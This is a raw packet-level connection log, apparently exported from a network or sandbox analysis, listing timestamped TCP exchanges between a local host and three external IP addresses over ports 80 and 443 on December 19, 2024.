Dec 19, 2024 14:10:22.170006037 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.170057058 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.170783997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.170914888 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.171019077 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.171695948 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.171752930 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.171869040 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.172735929 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.172791004 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.172875881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.173583031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.173635006 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.173697948 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.174307108 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.174335957 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.174413919 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.174462080 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.175244093 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.175297022 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.175622940 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.176172018 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.176219940 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.176286936 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.177114964 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.177164078 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.177231073 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.178025961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.178076982 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.178148031 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.178214073 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.178889036 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.178942919 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.178976059 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.179852009 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.179903030 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.180003881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.180721045 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.180771112 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.180820942 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.181736946 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.181782961 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.181819916 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.182250023 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.182642937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.182789087 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.183459997 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.183512926 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.183552980 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.184297085 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.184353113 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.184433937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.185198069 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.185246944 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.185622931 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.185672998 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.186162949 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.186233997 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.186266899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.186999083 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.187050104 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.187158108 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.187210083 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.187263012 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.188059092 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.188093901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.188108921 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.188780069 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.188827038 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.188858032 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.189147949 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.189842939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.189937115 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.189956903 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.190505028 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.190884113 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.191031933 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.191085100 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.191736937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.191876888 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.191926003 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.192776918 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.192854881 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.192903996 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.193754911 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.193828106 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.193877935 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.194644928 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.194705963 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.194772005 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.195096016 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.195471048 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.195506096 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.195528984 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.196301937 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.196435928 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.196439028 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.197340965 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.197387934 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.198224068 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.198280096 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.198340893 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.198385954 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.198390961 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.198978901 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.199027061 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.199117899 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.199388027 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.200054884 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.200113058 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.200158119 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.200831890 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.200886011 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.201189041 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.201745987 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.201781034 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.201796055 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.202192068 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.202677011 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.202744007 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.202802896 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.203676939 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.203808069 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.203857899 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:22.204596996 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.204716921 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.205267906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:22.205321074 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:24.514305115 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:24.514400005 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:24.514487028 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:24.517766953 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:24.517801046 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:24.537343025 CET	49773	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:24.537643909 CET	49795	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:24.659480095 CET	80	49795	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:24.659495115 CET	80	49773	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:24.659574032 CET	49795	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:24.659599066 CET	49773	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:24.725214005 CET	49795	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:24.846885920 CET	80	49795	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:25.749252081 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:25.749344110 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:25.751746893 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:25.751775026 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:25.752078056 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:25.799469948 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:25.858789921 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:25.858838081 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:25.858946085 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.016612053 CET	80	49795	185.215.113.43	192.168.2.4
Dec 19, 2024 14:10:26.016663074 CET	49795	80	192.168.2.4	185.215.113.43
Dec 19, 2024 14:10:26.022171021 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:26.022469997 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:26.144733906 CET	80	49775	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:26.144926071 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:26.144946098 CET	49775	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:26.145014048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:26.145215988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:26.264642954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:26.297399044 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.297545910 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.297612906 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:26.297648907 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.297677994 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.297729015 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:26.297765970 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.297976971 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.298034906 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:26.299365044 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:26.299411058 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.299442053 CET	49794	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:26.299458981 CET	443	49794	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.346189976 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:26.346218109 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:26.346813917 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:26.347065926 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:26.347080946 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:27.477637053 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.477695942 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.477708101 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.477730989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.477741957 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.477752924 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.477770090 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.477777004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.477842093 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.477842093 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.477927923 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.477973938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.478009939 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.478022099 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.478059053 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.478085995 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.563551903 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:27.563637972 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:27.576442003 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:27.576459885 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:27.577212095 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:27.579200983 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:27.579235077 CET	49801	443	192.168.2.4	172.67.177.88
Dec 19, 2024 14:10:27.579380989 CET	443	49801	172.67.177.88	192.168.2.4
Dec 19, 2024 14:10:27.598401070 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.598469019 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.598579884 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.598630905 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.602575064 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.602694988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.605089903 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.605146885 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.669826984 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.669893980 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.669893026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.669944048 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.674022913 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.674073935 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.674089909 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.674127102 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.682385921 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.682439089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.685558081 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.685617924 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.685756922 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.685803890 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.693994045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.694005966 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.694053888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.694053888 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.702188969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.702254057 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.702311039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.702363968 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.710772991 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.710839033 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.710866928 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.710923910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.718899965 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.718970060 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.719022036 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.719078064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.727416039 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.727478027 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.727519989 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.727567911 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.735727072 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.735795021 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.735836983 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.735888004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.743448973 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.743504047 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.743619919 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.743678093 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.751132011 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.751188040 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.751394987 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.751446962 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.835633993 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.835712910 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.835724115 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.835802078 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.862131119 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.862195015 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.862227917 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.862284899 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.864232063 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.864288092 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.864289045 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.864352942 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.868807077 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.868844986 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.868863106 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.868895054 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.873303890 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.873362064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.873383999 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.873436928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.877841949 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.877902985 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.877994061 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.878048897 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.882308960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.882364988 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.882445097 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.882498026 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.886818886 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.886873960 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.886948109 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.886998892 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.891210079 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.891266108 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.891299009 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.891351938 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.895735979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.895747900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.895790100 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.895823002 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.900201082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.900258064 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.900357962 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.900410891 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.904537916 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.904594898 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.904932022 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.904989004 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.909003019 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.909060955 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.909148932 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.909210920 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.913434982 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.913492918 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.913552046 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.913605928 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.917912960 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.917970896 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.918003082 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.918052912 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.922385931 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.922445059 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.922467947 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.922528982 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.926815033 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.926883936 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.926924944 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.926965952 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.931180954 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.931245089 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.931269884 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.931350946 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.935636997 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.935703039 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.935749054 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.935800076 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.940329075 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.940392017 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.940433979 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.940486908 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.944588900 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.944643974 CET	49800	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:27.944674969 CET	80	49800	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:27.944739103 CET	49800	80	192.168.2.4	31.41.244.11
